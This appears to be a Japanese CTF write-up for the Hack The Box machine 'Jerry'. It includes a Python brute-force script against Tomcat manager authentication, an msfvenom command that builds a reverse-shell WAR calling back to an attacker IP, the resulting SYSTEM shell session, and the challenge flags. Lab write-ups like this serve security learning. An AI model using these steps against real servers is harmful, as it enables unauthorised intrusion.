Open roaris opened 6 months ago
ポート8080を確認すると、Apache Tomcatの画面が出てくる
manager webapp
を押すと、Basic認証を求められる
SecListsを確認
tomcat-betterdefaultpasslist.txtを使えば良さそう
$ find /usr/share/SecLists -iname *tomcat*
/usr/share/SecLists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist_base64encoded.txt
/usr/share/SecLists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
/usr/share/SecLists/Discovery/Web-Content/CMS/trickest-cms-wordlist/tomcat-all-levels.txt
/usr/share/SecLists/Discovery/Web-Content/CMS/trickest-cms-wordlist/tomcat.txt
/usr/share/SecLists/Discovery/Web-Content/ApacheTomcat.fuzz.txt
/usr/share/SecLists/Discovery/Web-Content/tomcat.txt
総当たりするプログラム tomcat-betterdefaultpasslist_base64encoded.txtを使えば、各行をそのままAuthorizationヘッダに載せるだけでOK
import requests
import base64
url = 'http://10.10.10.95:8080/manager/html'
with open('/usr/share/SecLists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt') as f:
for line in f:
username, password = line.strip().split(':')
encoded = base64.b64encode(f'{username}:{password}'.encode()).decode()
res = requests.get(url, headers={'Authorization': f'Basic {encoded}'})
if res.status_code == 200:
print('valid credential:', username, password)
tomcat
/ s3cret
でいける
Tomcat Web Application Manager という画面が開く
WAR file to deploy
とあり、ここにWARファイルをアップロードすると、それがアプリケーションとしてデプロイされるらしい
アプリケーションはパスで区切られてデプロイされ、Applications
のとこから確認することが出来る
参考
リバースシェルを起動するようなアプリケーションをWARファイルとしてアップロード出来れば良い
これはmsfvenomで作成することが出来る https://qiita.com/tanaka-nice/items/0ec926951ffa5a4d197c
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=8080 -f war > pwn.war
作成したWARファイルをアップロードし、ポート8080でリッスンした状態で、Applications
のとこからアプリを開く
リバースシェルに成功した
$ nc -lvp 8080
listening on [any] 8080 ...
10.10.10.95: inverse host lookup failed: Unknown host
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.95] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
user.txt, root.txtを探してもない
C:\apache-tomcat-7.0.88>cd ..
cd ..
C:\>dir /s user.txt
dir /s user.txt
Volume in drive C has no label.
Volume Serial Number is 0834-6C04
C:\>dir /s root.txt
dir /s root.txt
Volume in drive C has no label.
Volume Serial Number is 0834-6C04
/Users/Administrator/Desktop/flagsにフラグがあった
C:\Users\Administrator\Desktop\flags>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0834-6C04
Directory of C:\Users\Administrator\Desktop\flags
06/19/2018 06:09 AM <DIR> .
06/19/2018 06:09 AM <DIR> ..
06/19/2018 06:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 2,366,222,336 bytes free
C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt
7004dbcef0f854e0fb401875f26ebd00
root.txt
04a8b36e1545a455393d067e772fe90e
https://app.hackthebox.com/machines/Jerry